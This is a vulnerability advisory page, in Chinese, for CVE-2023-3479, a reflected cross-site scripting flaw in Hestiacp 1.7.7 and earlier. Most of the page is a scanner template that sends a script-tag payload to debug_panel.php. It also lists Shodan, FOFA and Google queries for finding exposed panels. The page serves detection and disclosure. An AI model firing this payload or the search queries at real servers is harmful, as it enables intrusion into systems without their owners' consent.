CVE-2023-3479: Hestiacp <= 1.7.7 - Cross-Site Scripting

日期: 2025-08-01 | 影响软件: Hestiacp | POC: 已公开

漏洞描述

Cross-site Scripting (XSS) - Reflected in GitHub repository hestiacp/hestiacp prior to 1.7.8.

PoC代码[已公开]

id: CVE-2023-3479

info:
  name: Hestiacp <= 1.7.7 - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: |
    Cross-site Scripting (XSS) - Reflected in GitHub repository hestiacp/hestiacp prior to 1.7.8.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version of Hestiacp (1.7.8 or higher) to mitigate this vulnerability.
  reference:
    - https://huntr.dev/bounties/6ac5cf87-6350-4645-8930-8f2876427723/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3479
    - https://github.com/hestiacp/hestiacp/commit/2326aa525a7ba14513af783f29cb5e62a476e67a
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-3479
    cwe-id: CWE-79
    epss-score: 0.23782
    epss-percentile: 0.95812
    cpe: cpe:2.3:a:hestiacp:control_panel:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: hestiacp
    product: control_panel
    shodan-query:
      - http.favicon.hash:-476299640
      - http.title:"hestia control panel"
    fofa-query:
      - title="hestia control panel"
      - icon_hash=-476299640
    google-query: intitle:"hestia control panel"
  tags: cve2023,cve,huntr,hestiacp,xss,intrusive

http:
  - method: GET
    path:
      - '{{BaseURL}}/templates/pages/debug_panel.php?id={{randstr}}"><script>alert(document.domain)</script>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - debug-panel
          - <script>alert(document.domain)</script>
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c29caf9c90707d25029a566e65560bc4fab75785e38dc4b9ae5b6888ed622d46022009c33dcbb2544676ee65120aa0528bb6846581fd92969702499606d16d6646ca:922c64590222798bb761d5b6d8e72950

相关漏洞推荐